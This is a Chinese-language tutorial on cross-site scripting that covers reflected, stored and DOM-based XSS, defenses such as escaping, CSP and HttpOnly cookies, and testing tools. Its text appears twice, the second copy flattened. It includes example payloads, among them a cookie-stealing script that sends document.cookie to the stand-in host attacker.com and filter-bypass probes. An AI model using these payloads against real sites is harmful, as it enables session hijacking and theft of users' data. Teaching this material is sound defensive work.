XSS跨站脚本攻击与防护
字数 1321 2025-11-02 17:10:18

XSS跨站脚本攻击与防护

一、知识点描述
XSS(跨站脚本攻击)是一种常见的安全漏洞,攻击者通过向网页注入恶意脚本,当其他用户浏览该页面时,脚本会在其浏览器执行,从而盗取用户cookie、会话令牌等敏感信息,或进行其他恶意操作。XSS主要分为三类:反射型、存储型和DOM型。

二、攻击原理详解

  1. 反射型XSS(非持久化)

    • 攻击过程:恶意脚本作为请求参数发送给服务器→服务器返回包含该脚本的页面→用户浏览器执行脚本
    • 特点:需要诱导用户点击特制链接,常见于搜索框、错误提示页等即时响应的场景
    • 示例:http://example.com/search?q=<script>alert('XSS')</script>
  2. 存储型XSS(持久化)

    • 攻击过程:恶意脚本被提交到服务器并存储到数据库→其他用户访问正常页面时自动加载执行
    • 特点:危害范围大,常见于论坛评论、用户留言等UGC内容区
    • 示例:在博客评论区插入<img src=x onerror=stealCookie()>
  3. DOM型XSS

    • 攻击过程:恶意脚本通过修改DOM树实现攻击,不经过服务器处理
    • 特点:完全在客户端发生,常见于URL片段(#之后的部分)
    • 示例:http://example.com#<script>document.write(location.hash)</script>

三、攻击危害演示
以窃取Cookie为例的完整攻击链:

  1. 攻击者构造恶意链接:http://victim-site.com/search?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
  2. 用户点击链接后,脚本自动向攻击者服务器发送当前站点的Cookie
  3. 攻击者利用窃取的Cookie实现会话劫持

四、防护方案详解

  1. 输入过滤(服务端)

    • 对用户输入进行严格校验:删除或转义特殊字符(如< > & ' "
    • 示例代码(PHP):
      $input = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
      
  2. 输出编码(根据输出位置)

    • HTML正文编码:将<转为&lt;>转为&gt;
    • HTML属性编码:额外处理引号("转为&quot;
    • JavaScript编码:使用\uXXXX形式转义
  3. 内容安全策略(CSP)

    • 通过HTTP头限制脚本来源:
      Content-Security-Policy: default-src 'self'; script-src trusted.com
      
    • 禁止内联脚本执行,有效阻断大部分XSS
  4. HttpOnly Cookie

    • 设置Cookie时添加HttpOnly属性,防止JavaScript读取:
      Set-Cookie: sessionId=abc123; HttpOnly
      
  5. DOM型XSS专项防护

    • 避免使用innerHTML,优先使用textContent
    • 对URL参数进行验证:使用encodeURIComponent()处理动态参数

五、实战检测方法

  1. 使用自动化工具扫描(如OWASP ZAP、Burp Suite)
  2. 手动测试payload:
    • 基础检测:<script>alert(1)</script>
    • 绕过检测:<img src=x onerror=alert(1)>
  3. 检查CSP配置是否生效

通过以上分层防护,可有效将XSS风险降到最低。实际开发中建议结合多种防护措施,形成纵深防御体系。

XSS跨站脚本攻击与防护 一、知识点描述 XSS(跨站脚本攻击)是一种常见的安全漏洞,攻击者通过向网页注入恶意脚本,当其他用户浏览该页面时,脚本会在其浏览器执行,从而盗取用户cookie、会话令牌等敏感信息,或进行其他恶意操作。XSS主要分为三类:反射型、存储型和DOM型。 二、攻击原理详解 反射型XSS (非持久化) 攻击过程:恶意脚本作为请求参数发送给服务器→服务器返回包含该脚本的页面→用户浏览器执行脚本 特点:需要诱导用户点击特制链接,常见于搜索框、错误提示页等即时响应的场景 示例: http://example.com/search?q=<script>alert('XSS')</script> 存储型XSS (持久化) 攻击过程:恶意脚本被提交到服务器并存储到数据库→其他用户访问正常页面时自动加载执行 特点:危害范围大,常见于论坛评论、用户留言等UGC内容区 示例:在博客评论区插入 <img src=x onerror=stealCookie()> DOM型XSS 攻击过程:恶意脚本通过修改DOM树实现攻击,不经过服务器处理 特点:完全在客户端发生,常见于URL片段(#之后的部分) 示例: http://example.com#<script>document.write(location.hash)</script> 三、攻击危害演示 以窃取Cookie为例的完整攻击链: 攻击者构造恶意链接: http://victim-site.com/search?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> 用户点击链接后,脚本自动向攻击者服务器发送当前站点的Cookie 攻击者利用窃取的Cookie实现会话劫持 四、防护方案详解 输入过滤 (服务端) 对用户输入进行严格校验:删除或转义特殊字符(如 < > & ' " ) 示例代码(PHP): 输出编码 (根据输出位置) HTML正文编码:将 < 转为 &lt; , > 转为 &gt; HTML属性编码:额外处理引号( " 转为 &quot; ) JavaScript编码:使用 \uXXXX 形式转义 内容安全策略(CSP) 通过HTTP头限制脚本来源: 禁止内联脚本执行,有效阻断大部分XSS HttpOnly Cookie 设置Cookie时添加HttpOnly属性,防止JavaScript读取: DOM型XSS专项防护 避免使用 innerHTML ,优先使用 textContent 对URL参数进行验证:使用 encodeURIComponent() 处理动态参数 五、实战检测方法 使用自动化工具扫描(如OWASP ZAP、Burp Suite) 手动测试payload: 基础检测: <script>alert(1)</script> 绕过检测: <img src=x onerror=alert(1)> 检查CSP配置是否生效 通过以上分层防护,可有效将XSS风险降到最低。实际开发中建议结合多种防护措施,形成纵深防御体系。